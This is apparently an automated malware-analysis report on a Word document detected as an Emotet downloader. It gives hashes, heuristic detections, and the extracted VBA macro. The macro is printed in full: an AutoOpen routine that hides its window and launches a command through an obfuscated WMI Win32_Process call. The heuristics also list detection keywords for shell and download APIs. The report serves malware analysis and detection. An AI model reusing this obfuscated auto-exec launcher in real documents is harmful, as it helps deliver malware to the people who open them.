Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 92e5e4a608f28eb3…

MALICIOUS

Office (OLE)

133.1 KB Created: 2019-05-16 18:51:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 90734afaf48c4b375ee2efa0f59e2d2f SHA-1: cedd5dd6092e84bef6c2521694c206360ba6ad5f SHA-256: 92e5e4a608f28eb39f833c84655267009c31996a515d3101746f1f0251487d1b
310 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set c_61385 = GetObject(("winm" + "gmts:" + "Win" + "32_Proc" + "essS" + "tartup"))
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    Set c_61385 = GetObject(("winm" + "gmts:" + "Win" + "32_Proc" + "essS" + "tartup"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set c_61385 = GetObject(("winm" + "gmts:" + "Win" + "32_Proc" + "essS" + "tartup"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    autoopen( _
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1271 bytes
SHA-256: 6a2f2ed7741316c9b37181a763ec26101789e832935b479190b0972e3fcf2b2e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "z3110806"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "R7988061, 0, 0, MSForms, TextBox"
Attribute VB_Control = "a817_9, 1, 1, MSForms, TextBox"
Attribute VB_Control = "k2615_, 2, 2, MSForms, TextBox"
Attribute VB_Control = "j1749467, 3, 3, MSForms, TextBox"
Attribute VB_Control = "D12_47, 4, 4, MSForms, TextBox"
Attribute VB_Control = "B6_25_2, 5, 5, MSForms, TextBox"

Attribute VB_Name = "w374631"
Sub _
autoopen( _
)
Set c_61385 = GetObject(("winm" + "gmts:" + "Win" + "32_Proc" + "essS" + "tartup"))
   r62893 = (("I28954") + ("659480211"))
c_61385. _
ShowWindow = vbFalse - vbFalse
   b54813 = (("t0440_4") + ("900130443"))
P39242 = z3110806.a817_9 + z3110806.k2615_ + z3110806.j1749467 + z3110806.D12_47 + z3110806.R7988061
   j0735227 = (("C1108297") + ("393461019"))
Set l8847355 = GetObject(("winm" + "gmts:" + "Win3" + "2_Process"))
   E1_753 = (("A067875") + ("800749409"))
l8847355.Create A_33800 + P39242 + i665411, r2795657, c_61385, B45219
End Sub


Attribute VB_Name = "E34031"

Open this report in the interactive analyzer, or submit your own file for analysis.